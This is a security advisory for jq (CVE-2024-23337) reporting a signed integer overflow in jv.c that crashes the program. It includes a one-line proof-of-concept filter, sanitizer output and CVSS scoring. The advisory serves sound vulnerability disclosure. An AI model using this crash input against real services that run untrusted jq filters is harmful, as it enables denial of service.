Skip to content

Signed integer overflow in jv.c:jvp_array_write

Moderate
itchyny published GHSA-2q6r-344g-cx46 May 20, 2025

Package

jq

Affected versions

all versions

Patched versions

None

Description

Summary

Integer overflow arise when assigning value using index of 2147483647 (signed int limit)

Details

Based on the output from UndefinedBehaviorSanitizer

username@servername:~/jq$ ./jq -n '.[2147483647]=1'
src/jv.c:860:29: runtime error: signed integer overflow: 2147483647 + 1 cannot be represented in type 'int'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/jv.c:860:29 in
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==62169==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x55a8b93fe6b0 (pc 0x55a0b6812c3d bp 0x7ffc3a2ba080 sp 0x7ffc3a2ba020 T62169)
==62169==The signal is caused by a READ memory access.
    #0 0x55a0b6812c3d in jv_array_set /home/username/jq/src/jv.c:997:3
    #1 0x55a0b681f98d in jv_set /home/username/jq/src/jv_aux.c:179:11
    #2 0x55a0b6820af7 in jv_setpath /home/username/jq/src/jv_aux.c:420:10
    #3 0x55a0b68c9b3b in f_setpath /home/username/jq/src/builtin.c:1246:62
    #4 0x55a0b68021e7 in jq_next /home/username/jq/src/execute.c:918:21
    #5 0x55a0b67f8635 in process /home/username/jq/src/main.c:200:31
    #6 0x55a0b67f7394 in main /home/username/jq/src/main.c:739:15
    #7 0x7f1fa456f082 in __libc_start_main /build/glibc-wuryBv/glibc-2.31/csu/../csu/libc-start.c:308:16
    #8 0x55a0b67c9b3d in _start (/home/username/jq/jq+0x19fb3d) (BuildId: 9c61602c0237130159435beec2e60c79ea15af68)

UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/username/jq/src/jv.c:997:3 in jv_array_set
==62169==ABORTING

Using release 1.7.1:

username@servername:~$ wget https://github.com/jqlang/jq/releases/download/jq-1.7.1/jq-linux-amd64
username@servername:~$ chmod +x jq-linux-amd64
username@servername:~$ ./jq-linux-amd64 .[2147483647]=1 ~/jq/example.json
Segmentation fault (core dumped)

PoC

This can be exercised with jq -n '.[2147483647]=1', or with a JSON text containing an array with 2147483647 elements such as [0,0,..,0].

Expected behavior (2147483647-1):

username@servername:~$ ./jq-linux-amd64 -n `.[2147483646]=1`
jq: error: cannot allocate memory
Aborted (core dumped)

Actual behaviour

username@servername:~$ ./jq-linux-amd64 .[2147483647]=1 ~/jq/example.json
Segmentation fault (core dumped)

Impact

DoS

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

CVE ID

CVE-2024-23337

Weaknesses

Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control. Learn more on MITRE.

Credits